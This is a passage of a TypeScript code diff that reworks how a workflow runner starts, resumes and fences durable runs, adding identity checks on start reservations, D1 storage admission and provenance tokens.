+    if (!Array.isArray(rawOperations)) {
+      throw new Error('stored run lifecycle is malformed');
+    }
+    const length = rawOperations.length;
+    if (!Number.isSafeInteger(length) || length < 0 || length > 0xffff_ffff) {
+      throw new Error('stored run lifecycle is malformed');
+    }
+    operations = new Array<RunEconomicOperation>(length);
+    for (let index = 0; index < length; index++) {
+      if (!(index in rawOperations))
+        throw new Error('stored run lifecycle is malformed');
+      const entry = rawOperations[index];
+      if (entry === null || typeof entry !== 'object' || Array.isArray(entry)) {
+        throw new Error('stored run lifecycle is malformed');
+      }
+      const { id, settlementState } = entry;
+      operations[index] = { id, settlementState };
+    }
+  }
+  const captured = {
+    runId,
+    inputData,
+    initialState,
+    storedRequestContext,
+    attemptToken,
+    deadlineMs,
+    economicOperations: canonicalEconomicOperations(operations),
+    scheduleDispatch: canonicalScheduleDispatch(dispatch),
+    idempotencyKey,
+    mutationEpoch,
+    startIdentity,
+    agentStart,
+    onPreparedStartIdentity,
+    runOwnerGuard,
+    startReservation,
+  };
+  return Object.freeze(
+    requestedBy !== undefined && requestedByKind !== undefined
+      ? { ...captured, requestedBy, requestedByKind }
+      : captured,
+  );
+}
+
 function lifecycleForStart(
   options: StartRunOptions,
 ): RunLifecycleState | undefined {
@@ -943,6 +1114,81 @@ function effectiveLifecycle(
   };
 }
 
+type CapturedWorkflowStorage = {
+  readonly workflows: WorkflowsStorage;
+  readonly read: WorkflowsStorage['getWorkflowRunById'];
+  readonly load: WorkflowsStorage['loadWorkflowSnapshot'];
+  readonly persist: WorkflowsStorage['persistWorkflowSnapshot'];
+} & (
+  | { readonly storage: 'unfenced'; readonly tablePrefix: null }
+  | {
+      readonly storage: 'd1';
+      readonly tablePrefix: string;
+      readonly capability: FencedWorkflowAdmissionCapability;
+      readonly database: FencedWorkflowAdmissionCapability['database'];
+      readonly readSnapshot: FencedWorkflowAdmissionCapability['readSnapshot'];
+      readonly admit: FencedWorkflowAdmissionCapability['withInitialAdmission'];
+      readonly terminalize: FencedWorkflowAdmissionCapability['terminalizeInitialAdmission'];
+    }
+);
+
+type ActiveRun = {
+  run?: { cancel(): Promise<void> };
+  lifecycle?: RunLifecycleState;
+  requestContext?: RequestContext;
+  source?: CapturedWorkflowStorage;
+};
+
+/** @internal An owning recovery's selected durable outcome. */
+export type RecoveredStart =
+  | { kind: 'ordinary'; summary: RunSummary }
+  | { kind: 'lifecycle'; transition: RunLifecycleTransitionResult };
+
+type RecoveryTargetExpectation =
+  | { readonly kind: 'workflow' }
+  | {
+      readonly kind: 'agent';
+      readonly id: string;
+      readonly threadId: string;
+      readonly owner: StartIdentity['owner'];
+      readonly threaded: boolean;
+    };
+
+function sameExecution(
+  a: RunExecutionIdentity,
+  b: RunExecutionIdentity,
+): boolean {
+  return (
+    a.tablePrefix === b.tablePrefix &&
+    a.workflowId === b.workflowId &&
+    a.runId === b.runId &&
+    a.startToken === b.startToken
+  );
+}
+
+function assertClaimIdentity(
+  claim: StartReservationReading,
+  execution: StartIdentity & { runId: string },
+  key = claim.key,
+): void {
+  if (
+    claim.key !== key ||
+    claim.runId !== execution.runId ||
+    claim.owner.id !== execution.owner.id ||
+    claim.owner.kind !== execution.owner.kind ||
+    claim.targetKind !== execution.target.kind ||
+    claim.targetId !== execution.target.id ||
+    claim.threadId !==
+      (execution.target.kind === 'agent'
+        ? execution.target.threadId
+        : undefined)
+  ) {
+    throw new InvalidRunRequestError(
+      'start reservation disagrees with execution identity',
+    );
+  }
+}
+
 export class RunnerRuntime {
   readonly #storage: MastraCompositeStore;
   readonly #logger: IMastraLogger | false;
@@ -950,14 +1196,7 @@ export class RunnerRuntime {
   readonly #agents = new Map<string, ErasedRuntimeAgent>();
   readonly #workflows = new Map<string, AnyWorkflow>();
   readonly #runLocks = new Map<string, Promise<unknown>>();
-  readonly #activeRuns = new Map<
-    string,
-    {
-      run?: { cancel(): Promise<void> };
-      lifecycle?: RunLifecycleState;
-      requestContext?: RequestContext;
-    }
-  >();
+  readonly #activeRuns = new Map<string, ActiveRun>();
   readonly #terminalAbortIntents = new Map<string, RunTerminalStatus>();
   readonly #lifecycleLocks = new Map<string, Promise<unknown>>();
   // The host DO's pubsub identity (RunnerRuntimeOptions.pubsub), threaded into
@@ -1073,240 +1312,428 @@ export class RunnerRuntime {
     return [...this.#workflows.keys()];
   }
 
-  /**
-   * The fence check every mint passes. In proof-only the admitted start also
-   * BINDS the proof to its run id, and that write-back is conditional: between
-   * the read that admitted it and the write another start may have claimed the
-   * proof, or the operator may have moved the fence on. Zero rows changed
-   * therefore refuses the start — the deployment is no longer the one this
-   * start read.
-   */
   async #assertStartFence(
-    runId: string,
     idempotencyKey: string | undefined,
-  ): Promise<void> {
+    mutationEpoch: number | undefined,
+  ): Promise<ProofEntryExpectation | undefined> {
     const fence = this.#executionFence;
     if (!fence) return;
     const reading = await fence.read();
-    if (!admitsRunStart(reading, idempotencyKey)) {
-      throw new ExecutionFencedError(reading.state, 'run start');
-    }
-    if (reading.state !== 'proof-only' || reading.proofKey === undefined) {
-      return;
-    }
-    if (!(await fence.recordProofRun(reading.proofKey, runId))) {
+    assertMutationEpoch(reading, mutationEpoch);
+    if (!admitsRunStart(reading, idempotencyKey))
       throw new ExecutionFencedError(reading.state, 'run start');
-    }
+    if (reading.state === 'proof-only' && reading.proofKey !== undefined)
+      return Object.freeze({
+        key: reading.proofKey,
+        mutationEpoch: reading.mutationEpoch,
+        transitionRevision: reading.transitionRevision,
+      });
   }
 
-  /**
-   * Mark this run's start reservation spent, if it has one.
-   *
-   * BEST EFFORT, and deliberately so: the run has already reached a terminal
-   * state and its snapshot is already persisted, so failing the caller here
-   * would turn a completed run into an error response — while the reconcile it
-   * failed to make costs only the LATER answer's precision (a purged run
-   * replays as UNRESOLVABLE rather than ALREADY_SETTLED, which refuses either
-   * way). The retention purge marks any reservation this missed, so a swallowed
-   * failure heals rather than accumulating.
-   */
-  async #settleStartReservation(runId: string): Promise<void> {
-    const store = this.#startIdempotency;
-    if (!store) return;
+  async #settleStartReservation(state: AuthoritativeStartState): Promise<void> {
+    if (state.kind !== 'result' || !isTerminalRunStatus(state.summary.status))
+      return;
     try {
-      await store.settleRun(runId);
+      await this.settleStartExecution(state);
     } catch (error) {
       console.error(
         JSON.stringify({
           type: 'start-reservation-settle-failed',
-          runId,
+          runId: state.execution.runId,
           error: error instanceof Error ? error.message : String(error),
         }),
       );
     }
   }
 
-  /** The fence check every re-entry passes — resume, and the deadline alarm. */
-  async #assertResumeFence(runId: string): Promise<void> {
+  async #assertResumeFence(
+    workflowId: string,
+    runId: string,
+  ): Promise<D1RunExecutionIdentity | undefined> {
     const fence = this.#executionFence;
     if (!fence) return;
     const reading = await fence.read();
-    if (!admitsExistingRun(reading, runId)) {
+    if (reading.state === 'open' || reading.state === 'draining') return;
+    if (reading.state === 'migration-locked')
       throw new ExecutionFencedError(reading.state, 'run resume');
-    }
+    const state = await this.authoritativeStartState(workflowId, runId);
+    if (state?.storage !== 'd1' || !admitsExistingRun(reading, state.execution))
+      throw new ExecutionFencedError(reading.state, 'run resume');
+    return state.execution;
   }
 
-  async start(
+  /** @internal Retain this physical proof expectation across preparation waits. */
+  assertExistingRunAllowed(
     workflowId: string,
-    options: StartRunOptions,
-  ): Promise<RunSummary> {
-    const workflow = this.#getWorkflow(workflowId);
-    // Reject non-path-safe ids at the mint boundary so the runId is unambiguous
-    // everywhere it addresses the run (D1 key, DO name, URL path) — see
-    // PATH_SAFE_ID_PATTERN. Fail fast, before the lock and any createRun work.
-    // The typeof guard is load-bearing, not redundant with the string type:
-    // this value can arrive from JSON.parse through an unchecked `as` cast
-    // (durable-object.ts readJson), and RegExp.test() coerces its argument to a
-    // String — so a numeric runId like 123 would pass the pattern as "123" yet
-    // mint a run keyed by the number 123, unreachable by the string "123" the
-    // URL path later carries. There is NO generation fallback: a
-    // missing/null runId is a client error, not a request for one.
-    if (!isPathSafeId(options.runId)) {
-      throw new InvalidRunRequestError(
-        "runId is required and must be URL-path-safe (letters, digits, '.', '_', '~', '-'; 1–200 chars)",
-      );
-    }
-    const runId = options.runId;
+    runId: string,
+  ): Promise<D1RunExecutionIdentity | undefined> {
+    return this.#assertResumeFence(workflowId, runId);
+  }
+
+  async #assertRetainedResume(
+    source: CapturedWorkflowStorage,
+    workflowId: string,
+    runId: string,
+    expected: RunProvenance | undefined,
+    proof: D1RunExecutionIdentity | undefined,
+  ): Promise<WorkflowRunState> {
+    const reading = this.#executionFence
+      ? await this.#executionFence.read()
+      : undefined;
+    const snapshot = await source.load.call(source.workflows, {
+      workflowName: workflowId,
+      runId,
+    });
+    if (!snapshot) throw new UnknownRunError(workflowId, runId);
+    if (snapshot.runId !== runId)
+      throw new RunStateUnreadableError(workflowId, runId);
+    const current = runProvenance(snapshot);
     if (
-      options.requestedBy !== undefined &&
-      !isExecutionPrincipalId(options.requestedBy)
-    ) {
-      throw new InvalidRunRequestError('requestedBy is malformed');
-    }
+      expected?.version === 2 &&
+      (current?.version !== 2 || current.startToken !== expected.startToken)
+    )
+      throw new RunStateUnreadableError(workflowId, runId);
     if (
-      options.requestedByKind !== undefined &&
-      !isExecutionPrincipalKind(options.requestedByKind)
-    ) {
-      throw new InvalidRunRequestError('requestedByKind is malformed');
+      proof &&
+      (source.tablePrefix !== proof.tablePrefix ||
+        current?.version !== 2 ||
+        current.startToken !== proof.startToken)
+    )
+      throw new RunStateUnreadableError(workflowId, runId);
+    if (reading) {
+      const execution =
+        current?.version === 2
+          ? runExecutionIdentityFor(
+              { tablePrefix: source.tablePrefix, workflowId, runId },
+              current,
+            )
+          : undefined;
+      if (
+        !admitsExistingRun(reading, execution) ||
+        (proof && (!execution || !sameExecution(proof, execution)))
+      )
+        throw new ExecutionFencedError(reading.state, 'run resume');
     }
+    return snapshot;
+  }
+
+  async #completedStartState(
+    source: CapturedWorkflowStorage,
+    execution: RunExecutionIdentity,
+    expected: Pick<RunProvenance, 'version' | 'startToken' | 'attemptToken'>,
+  ): Promise<
+    AuthoritativeStartState & { kind: 'result'; summary: RunSummary }
+  > {
+    const state = await this.#readStartState(
+      source,
+      execution.workflowId,
+      execution.runId,
+    );
     if (
-      (options.requestedBy === undefined) !==
-      (options.requestedByKind === undefined)
-    ) {
+      !state ||
+      state.kind === 'legacy' ||
+      !sameExecution(state.execution, execution) ||
+      state.provenance.version !== expected.version ||
+      state.provenance.attemptToken !== expected.attemptToken
+    )
+      throw new RunStateUnreadableError(execution.workflowId, execution.runId);
+    if (state.kind === 'initial') throw new RunStartPendingError();
+    return state;
+  }
+
+  async start(
+    workflowId: string,
+    sourceOptions: StartRunOptions,
+  ): Promise<RunSummary> {
+    const options = captureStartRunOptions(sourceOptions);
+    const runId = options.runId;
+    if (!isPathSafeId(runId))
       throw new InvalidRunRequestError(
-        'requestedBy and requestedByKind must be provided together',
+        'runId is required and must be URL-path-safe',
       );
-    }
     if (
       options.attemptToken !== undefined &&
       !isPathSafeId(options.attemptToken)
-    ) {
+    )
       throw new InvalidRunRequestError('attemptToken is malformed');
+    const startIdentity =
+      options.startIdentity ??
+      (options.requestedBy === undefined
+        ? undefined
+        : normalizeStartIdentity({
+            owner: { id: options.requestedBy, kind: options.requestedByKind },
+            target: { kind: 'workflow', id: workflowId },
+          }));
+    const claim = options.startReservation;
+    if (claim) {
+      if (!startIdentity || !this.#startIdempotency)
+        throw new InvalidRunRequestError(
+          'start reservation requires configured store and identity',
+        );
+      if (options.idempotencyKey !== claim.key)
+        throw new InvalidRunRequestError(
+          'start reservation key disagrees with execution',
+        );
+      assertClaimIdentity(
+        claim,
+        { ...startIdentity, runId },
+        options.idempotencyKey,
+      );
     }
-    // The fence, BEFORE the run lock and before any storage work: a fenced
-    // deployment must not queue behind a live run's lock just to be refused,
-    // and must write nothing on the way to the refusal. One read, never
-    // memoized (execution-fence.ts).
-    await this.#assertStartFence(runId, options.idempotencyKey);
-    return this.#withRunLock(workflowId, runId, async () => {
-      // Supplied ids can collide with an existing run; starting it
-      // again would re-execute already-executed steps.
-      const existing = await workflow.getWorkflowRunById(runId);
-      if (existing) {
-        throw new RunAlreadyExistsError(workflowId, runId, existing.status);
-      }
-      // Resolve the leg's context BEFORE createRun: createRun persists the
-      // initial snapshot, so a provider failure after it would strand a
-      // pending-but-never-started run (a supplied runId would then be locked
-      // out by RunAlreadyExistsError on retry). Failing here leaves no state.
-      const startAttemptToken = options.attemptToken ?? crypto.randomUUID();
-      const provenance: RunProvenance = {
-        version: 1,
-        ...(options.requestedBy === undefined
-          ? {}
-          : {
-              requestedBy: options.requestedBy,
-              requestedByKind: options.requestedByKind,
-            }),
-        startToken: startAttemptToken,
-        attemptToken: startAttemptToken,
-        resumeCounts: [],
-      };
-      const lifecycle = lifecycleForStart(options);
-      const requestContext = await this.#requestContextFor(
-        workflowId,
-        runId,
-        { kind: 'start' },
-        provenance,
-        options.storedRequestContext,
-        lifecycle,
+    let preflight = true;
+    const releasePreflight = async () => {
+      if (preflight && claim && this.#startIdempotency)
+        await this.#startIdempotency.releaseReservation(claim);
+    };
+    try {
+      const workflow = this.#getWorkflow(workflowId);
+      if (
+        startIdentity?.target.kind === 'workflow' &&
+        startIdentity.target.id !== workflow.id
+      )
+        throw new InvalidRunRequestError(
+          'startIdentity target does not match workflow',
+        );
+      const proof = await this.#assertStartFence(
+        options.idempotencyKey,
+        options.mutationEpoch,
       );
-      // Thread the host DO's pubsub identity into the run. Core
-      // accepts `createRun({ runId, pubsub })` at every one of its OWN call
-      // sites (agent/durable index.js:5224/5541) and stamps it straight onto
-      // `new Run({ ..., pubsub: options?.pubsub })`, defaulting a FRESH
-      // EventEmitterPubSub when it is undefined. So an unconfigured host
-      // (#pubsub undefined) reaches the identical `new Run({ pubsub: undefined })`
-      // the prior `createRun({ runId })` produced — byte-identical, polling
-      // stays the fallback. A configured host gets ONE shared feed so publish
-      // and observe()/replay agree (do-runner/pubsub.ts).
-      const run = await workflow.createRun({ runId, pubsub: this.#pubsub });
-      let result: CoreRunResult;
+      return await this.#withRunLock(workflowId, runId, async () => {
+        const activeKey = this.#runKey(workflowId, runId);
+        const active: ActiveRun = {};
+        if (this.#activeRuns.has(activeKey))
+          throw new RunAlreadyExistsError(workflowId, runId, 'running');
+        this.#activeRuns.set(activeKey, active);
+        let execution: RunExecutionIdentity | undefined;
+        let engineEntered = false;
+        let outcomeReadStarted = false;
+        let admissionEntered = false;
+        let candidate:
+          | Awaited<ReturnType<AnyWorkflow['createRun']>>
+          | undefined;
+        const originalCached = workflow.runs.get(runId);
+        let provenance: ProgressRunProvenance | undefined;
+        try {
+          const existing = await workflow.getWorkflowRunById(runId);
+          if (existing || originalCached)
+            throw new RunAlreadyExistsError(
+              workflowId,
+              runId,
+              existing?.status ?? 'pending',
+            );
+          const source = await this.#captureWorkflowStorage(workflow);
+          active.source = source;
+          provenance = {
+            version: 2,
+            startToken: crypto.randomUUID(),
+            attemptToken: options.attemptToken ?? crypto.randomUUID(),
+            resumeCounts: [],
+            ...(options.requestedBy === undefined
+              ? {}
+              : {
+                  requestedBy: options.requestedBy,
+                  requestedByKind: options.requestedByKind,
+                }),
+            ...(startIdentity ? { startIdentity } : {}),
+            ...(options.agentStart ? { agentStart: options.agentStart } : {}),
+            ...(options.mutationEpoch === undefined
+              ? {}
+              : { mutationEpoch: options.mutationEpoch }),
+          };
+          execution = runExecutionIdentityFor(
+            { tablePrefix: source.tablePrefix, workflowId, runId },
+            provenance,
+          );
+          const lifecycle = lifecycleForStart(options);
+          active.lifecycle = lifecycle;
+          preflight = false;
+          const requestContext = await this.#requestContextFor(
+            workflowId,
+            runId,
+            { kind: 'start' },
+            provenance,
+            options.storedRequestContext,
+            lifecycle,
+          );
+          active.requestContext = requestContext;
+          if (options.onPreparedStartIdentity)
+            await Reflect.apply(options.onPreparedStartIdentity, undefined, [
+              execution,
+            ]);
+          const capturedExecution = execution;
+          const capturedProvenance = provenance;
+          const { executionPromise } = await this.#withLifecycleLock(
+            workflowId,
+            runId,
+            async () => {
+              let run: Awaited<ReturnType<AnyWorkflow['createRun']>>;
+              if (this.#executionFence) {
+                if (source.storage !== 'd1')
+                  throw new Error(
+                    'fenced workflow storage capability is unavailable',
+                  );
+                const d1Execution =
+                  normalizeD1RunExecutionIdentity(capturedExecution);
+                admissionEntered = true;
+                const admitted = await source.admit.call(
+                  source.capability,
+                  {
+                    execution: d1Execution,
+                    attemptToken: capturedProvenance.attemptToken,
+                    mutationEpoch: options.mutationEpoch,
+                    startIdentity,
+                    requestContext: Object.fromEntries(
+                      requestContext.entries(),
+                    ),
+                    fence: this.#executionFence,
+                    reservationStore: claim
+                      ? this.#startIdempotency
+                      : undefined,
+                    reservation: claim,
+                    proof,
+                    runOwnerGuard: options.runOwnerGuard,
+                    onInitialWriteAttempt: () => {
+                      candidate = workflow.runs.get(runId);
+                    },
+                  },
+                  () => workflow.createRun({ runId, pubsub: this.#pubsub }),
+                );
+                if (
+                  !admitted?.witness ||
+                  !sameExecution(admitted.witness.execution, d1Execution)
+                )
+                  throw new RunStateUnreadableError(workflowId, runId);
+                const witnessed = this.#projectD1StartState(
+                  source,
+                  workflowId,
+                  runId,
+                  admitted.witness.row,
+                );
+                if (
+                  witnessed.kind !== 'initial' ||
+                  !sameExecution(witnessed.execution, d1Execution) ||
+                  witnessed.provenance.initialAdmission !== true ||
+                  witnessed.provenance.attemptToken !==
+                    capturedProvenance.attemptToken
+                )
+                  throw new RunStateUnreadableError(workflowId, runId);
+                run = admitted.value as Awaited<
+                  ReturnType<AnyWorkflow['createRun']>
+                >;
+              } else {
+                if (claim && startIdentity && this.#startIdempotency)
+                  await this.#startIdempotency.bindPreparedStart(claim, {
+                    ...capturedExecution,
+                    ...startIdentity,
+                  });
+                run = await workflow.createRun({ runId, pubsub: this.#pubsub });
+              }
+              active.run = run;
+              engineEntered = true;
+              return {
+                executionPromise: run.start({
+                  inputData: options.inputData,
+                  initialState: options.initialState,
+                  requestContext,
+                }),
+              };
+            },
+          );
+          const result = await executionPromise;
+          await this.#reconcileTerminalState(
+            workflowId,
+            runId,
+            result,
+            requestContext,
+            source,
+          );
+          outcomeReadStarted = true;
+          const selected = await this.#completedStartState(
+            source,
+            capturedExecution,
+            provenance,
+          );
+          await this.#settleStartReservation(selected);
+          return selected.summary;
+        } catch (error) {
+          if (
+            admissionEntered &&
+            !engineEntered &&
+            execution?.tablePrefix !== null &&
+            execution !== undefined &&
+            isDefinitiveInitialAdmissionRefusal(
+              error,
+              normalizeD1RunExecutionIdentity(execution),
+            )
+          ) {
+            if (
+              candidate &&
+              candidate !== originalCached &&
+              workflow.runs.get(runId) === candidate
+            )
+              workflow.runs.delete(runId);
+            if (claim && this.#startIdempotency)
+              await this.#startIdempotency.releaseReservation(claim);
+          }
+          if (engineEntered && provenance && !outcomeReadStarted) {
+            const recovered = await this.#summaryForAttempt(
+              workflow,
+              runId,
+              provenance,
+            );
+            if (recovered) return recovered;
+          }
+          throw asClientError(error) ?? error;
+        } finally {
+          if (this.#activeRuns.get(activeKey) === active)
+            this.#activeRuns.delete(activeKey);
+        }
+      });
+    } catch (error) {
+      await releasePreflight();
+      throw error;
+    }
+  }
+
+  /**
+   * Reattach to a suspended run — the designed fresh-process pattern:
+   * createRun({ runId }) does not clobber an existing snapshot; resume()
+   * loads it and re-enters the engine at the suspended step.
+   */
+  async resume(
+    workflowId: string,
+    runId: string,
+    options: ResumeRunOptions = {},
+  ): Promise<RunSummary> {
+    const workflow = this.#getWorkflow(workflowId);
+    const proof = await this.#assertResumeFence(workflowId, runId);
+    return this.#withRunLock(workflowId, runId, async () => {
       const activeKey = this.#runKey(workflowId, runId);
-      const active = { run, lifecycle, requestContext };
+      const active: ActiveRun = {};
+      if (this.#activeRuns.has(activeKey))
+        throw new RunTerminalConflictError(workflowId, runId, 'running');
       this.#activeRuns.set(activeKey, active);
+      let provenance: RunProvenance | undefined;
+      let engineEntered = false;
+      let outcomeReadStarted = false;
       try {
-        result = await run.start({
-          inputData: options.inputData,
-          initialState: options.initialState,
-          requestContext,
-        });
-      } catch (error) {
-        const recovered = await this.#summaryForAttempt(
-          workflow,
-          runId,
-          provenance.attemptToken,
-        );
-        if (recovered) return recovered;
-        throw asClientError(error) ?? error;
-      } finally {
-        if (this.#activeRuns.get(activeKey) === active) {
-          this.#activeRuns.delete(activeKey);
-        }
-      }
-      try {
-        await this.#reconcileTerminalState(
-          workflowId,
-          run.runId,
-          result,
-          requestContext,
-        );
-      } catch (error) {
-        const recovered = await this.#summaryForAttempt(
-          workflow,
-          runId,
-          provenance.attemptToken,
-        );
-        if (recovered) return recovered;
-        throw error;
-      }
-      return summarize(
-        run.runId,
-        result,
-        undefined,
-        provenance.requestedBy,
-        provenance.requestedByKind,
-        lifecycle?.deadlineAt,
-      );
-    });
-  }
-
-  /**
-   * Reattach to a suspended run — the designed fresh-process pattern:
-   * createRun({ runId }) does not clobber an existing snapshot; resume()
-   * loads it and re-enters the engine at the suspended step.
-   */
-  async resume(
-    workflowId: string,
-    runId: string,
-    options: ResumeRunOptions = {},
-  ): Promise<RunSummary> {
-    const workflow = this.#getWorkflow(workflowId);
-    // A drain must not refuse resumes — the suspended runs it is draining are
-    // waiting for exactly these — so only migration-locked and proof-only
-    // block here, and proof-only admits its one nominated run.
-    await this.#assertResumeFence(runId);
-    return this.#withRunLock(workflowId, runId, async () => {
-      const state = await this.#workflowState(workflow, runId);
-      if (!state) throw new UnknownRunError(workflowId, runId);
-      if (state.status !== 'suspended') {
-        throw new RunNotSuspendedError(workflowId, runId, state.status);
-      }
-      // Provider before createRun for symmetry with start(): a resume-time
-      // createRun only reattaches (no snapshot write), but failing before it
-      // still does the least work and keeps the ordering invariant uniform.
-      const { nextCounts, provenance, requestContext, lifecycle } =
-        await this.#trustedResumePreparation(
+        const source = await this.#captureWorkflowStorage(workflow);
+        active.source = source;
+        const state = await this.#workflowState(workflow, runId, true);
+        if (!state) throw new UnknownRunError(workflowId, runId);
+        if (state.isFromInMemory)
+          throw new RunStateUnreadableError(workflowId, runId);
+        const prior = runProvenance(state);
+        if (
+          proof &&
+          (prior?.version !== 2 ||
+            prior.startToken !== proof.startToken ||
+            source.tablePrefix !== proof.tablePrefix)
+        )
+          throw new RunStateUnreadableError(workflowId, runId);
+        if (state.status !== 'suspended')
+          throw new RunNotSuspendedError(workflowId, runId, state.status);
+        const prepared = await this.#trustedResumePreparation(
           workflowId,
           runId,
           state,
@@ -1316,45 +1743,18 @@ export class RunnerRuntime {
           options.deadlineMs,
           options.economicOperations,
         );
-      const activeKey = this.#runKey(workflowId, runId);
-      const active: {
-        run?: { cancel(): Promise<void> };
-        lifecycle?: RunLifecycleState;
-        requestContext?: RequestContext;
-      } = { lifecycle, requestContext };
-      await this.#withLifecycleLock(workflowId, runId, async () => {
-        const current = await this.#loadSnapshot(workflowId, runId);
-        if (!current) throw new UnknownRunError(workflowId, runId);
-        const currentLifecycle = lifecycleFromRequestContext(
-          current.requestContext,
-        );
-        if (currentLifecycle?.terminal || currentLifecycle?.transitionIntent) {
-          throw new RunTerminalConflictError(
+        provenance = prepared.provenance;
+        const { requestContext, lifecycle, nextCounts } = prepared;
+        active.requestContext = requestContext;
+        active.lifecycle = lifecycle;
+        const check = async () => {
+          const current = await this.#assertRetainedResume(
+            source,
             workflowId,
             runId,
-            current.status as RunStatus,
-          );
-        }
-        active.lifecycle = effectiveLifecycle(currentLifecycle, lifecycle);
-        this.#activeRuns.set(activeKey, active);
-      });
-      let run: Awaited<ReturnType<AnyWorkflow['createRun']>> | undefined;
-      let result: CoreRunResult;
-      try {
-        if (options.prepareExecution) {
-          const preparationValues = structuredClone(
-            Object.fromEntries(requestContext.entries()),
-          );
-          await options.prepareExecution(
-            new RequestContext(Object.entries(preparationValues)),
+            prior,
+            proof,
           );
-        }
-        // Same host pubsub identity as start() — see the note
-        // there; undefined stays byte-identical to `createRun({ runId })`.
-        run = await workflow.createRun({ runId, pubsub: this.#pubsub });
-        await this.#withLifecycleLock(workflowId, runId, async () => {
-          const current = await this.#loadSnapshot(workflowId, runId);
-          if (!current) throw new UnknownRunError(workflowId, runId);
           const currentLifecycle = lifecycleFromRequestContext(
             current.requestContext,
           );
@@ -1362,66 +1762,89 @@ export class RunnerRuntime {
             currentLifecycle?.terminal ||
             currentLifecycle?.transitionIntent ||
             this.#activeRuns.get(activeKey) !== active
-          ) {
+          )
             throw new RunTerminalConflictError(
               workflowId,
               runId,
               current.status as RunStatus,
             );
-          }
           active.lifecycle = effectiveLifecycle(
             currentLifecycle,
             active.lifecycle,
           );
-          active.run = run;
-        });
-        result = await run.resume({
-          step: options.step,
-          resumeData: options.resumeData,
-          requestContext,
-        });
-      } catch (error) {
-        const recovered = await this.#summaryForAttempt(
-          workflow,
+        };
+        await this.#withLifecycleLock(workflowId, runId, check);
+        if (options.prepareExecution) {
+          const values = structuredClone(
+            Object.fromEntries(requestContext.entries()),
+          );
+          await options.prepareExecution(
+            new RequestContext(Object.entries(values)),
+          );
+          await this.#withLifecycleLock(workflowId, runId, check);
+        }
+        const run = await workflow.createRun({ runId, pubsub: this.#pubsub });
+        const { executionPromise } = await this.#withLifecycleLock(
+          workflowId,
           runId,
-          provenance.attemptToken,
+          async () => {
+            await check();
+            active.run = run;
+            engineEntered = true;
+            return {
+              executionPromise: run.resume({
+                step: options.step,
+                resumeData: options.resumeData,
+                requestContext,
+              }),
+            };
+          },
         );
-        if (recovered) return recovered;
-        // No authoritative snapshot carries this attempt token: the run stayed
-        // on its prior suspension, so neither requester nor ordinal advances.
-        throw asClientError(error) ?? error;
-      } finally {
-        if (this.#activeRuns.get(activeKey) === active) {
-          this.#activeRuns.delete(activeKey);
-        }
-      }
-      // A re-suspension produced by this resume carries the incremented ordinal
-      // in the same authoritative snapshot as the new workflow state.
-      const summary = summarize(
-        run.runId,
-        result,
-        nextCounts,
-        provenance.requestedBy,
-        provenance.requestedByKind,
-        lifecycle?.deadlineAt,
-      );
-      try {
+        const result = await executionPromise;
         await this.#reconcileTerminalState(
           workflowId,
-          run.runId,
+          runId,
           result,
           requestContext,
+          source,
+          proof,
         );
-      } catch (error) {
-        const recovered = await this.#summaryForAttempt(
-          workflow,
+        if (provenance.version === 2) {
+          const execution = runExecutionIdentityFor(
+            { tablePrefix: source.tablePrefix, workflowId, runId },
+            provenance,
+          );
+          outcomeReadStarted = true;
+          const selected = await this.#completedStartState(
+            source,
+            execution,
+            provenance,
+          );
+          await this.#settleStartReservation(selected);
+          return selected.summary;
+        }
+        return summarize(
           runId,
-          provenance.attemptToken,
+          result,
+          nextCounts,
+          provenance.requestedBy,
+          provenance.requestedByKind,
+          lifecycle?.deadlineAt,
         );
-        if (recovered) return recovered;
-        throw error;
+      } catch (error) {
+        if (engineEntered && provenance && !outcomeReadStarted) {
+          const recovered = await this.#summaryForAttempt(
+            workflow,
+            runId,
+            provenance,
+          );
+          if (recovered) return recovered;
+        }
+        throw asClientError(error) ?? error;
+      } finally {
+        if (this.#activeRuns.get(activeKey) === active)
+          this.#activeRuns.delete(activeKey);
       }
-      return summary;
     });
   }
 
@@ -1452,8 +1875,16 @@ export class RunnerRuntime {
       workflowId,
       runId,
       async () => {
-        const state = await this.#loadSnapshot(workflowId, runId);
+        const source =
+          this.#activeRuns.get(this.#runKey(workflowId, runId))?.source ??
+          (await this.#captureWorkflowStorage(this.#getWorkflow(workflowId)));
+        const state = await source.load.call(source.workflows, {
+          workflowName: workflowId,
+          runId,
+        });
         if (!state) throw new UnknownRunError(workflowId, runId);
+        if (state.runId !== runId)
+          throw new RunStateUnreadableError(workflowId, runId);
         const key = this.#runKey(workflowId, runId);
         const active = this.#activeRuns.get(key);
         const lifecycle = effectiveLifecycle(
@@ -1506,7 +1937,7 @@ export class RunnerRuntime {
         const principals = canonicalReplayPrincipals(replayPrincipals);
         const intent: RunLifecycleState = {
           ...(lifecycle ?? { version: 1 as const, revision: 0 }),
-          revision: (lifecycle?.revision ?? 0) + 1,
+          revision: nextLifecycleRevision(lifecycle?.revision ?? 0),
           transitionIntent: {
             status: intendedStatus,
             requestedAt: now,
@@ -1519,7 +1950,14 @@ export class RunnerRuntime {
               : {}),
           },
         };
-        await this.#persistLifecycle(workflowId, runId, state, intent, now);
+        await this.#persistLifecycle(
+          workflowId,
+          runId,
+          state,
+          intent,
+          now,
+          source,
+        );
         if (active) {
           active.lifecycle = intent;
           active.requestContext?.set(RUN_LIFECYCLE_CONTEXT_KEY, intent);
@@ -1610,8 +2048,16 @@ export class RunnerRuntime {
   ): Promise<RunLifecycleTransitionResult> {
     this.#getWorkflow(workflowId);
     return this.#withRunLock(workflowId, runId, async () => {
-      const state = await this.#loadSnapshot(workflowId, runId);
+      const source = await this.#captureWorkflowStorage(
+        this.#getWorkflow(workflowId),
+      );
+      const state = await source.load.call(source.workflows, {
+        workflowName: workflowId,
+        runId,
+      });
       if (!state) throw new UnknownRunError(workflowId, runId);
+      if (state.runId !== runId)
+        throw new RunStateUnreadableError(workflowId, runId);
       const lifecycle = lifecycleFromRequestContext(state.requestContext);
       if (lifecycle?.terminal) {
         if (
@@ -1624,26 +2070,19 @@ export class RunnerRuntime {
         ) {
           throw new UnknownRunError(workflowId, runId);
         }
-        // A re-entry onto an already-terminal run heals a reconcile that an
-        // earlier crash lost. The CAS is `state <> 'terminal'`, so this is a
-        // no-op for the reservations that settled the first time.
-        await this.#settleStartReservation(runId);
         return {
-          summary: await this.#summaryAfterPersist(workflowId, runId),
+          summary: await this.#summaryAfterPersist(
+            workflowId,
+            runId,
+            source,
+            runProvenance(state),
+          ),
           transitioned: false,
           casMatched:
             cas === undefined ||
             (lifecycle.terminal.status === 'timed_out' &&
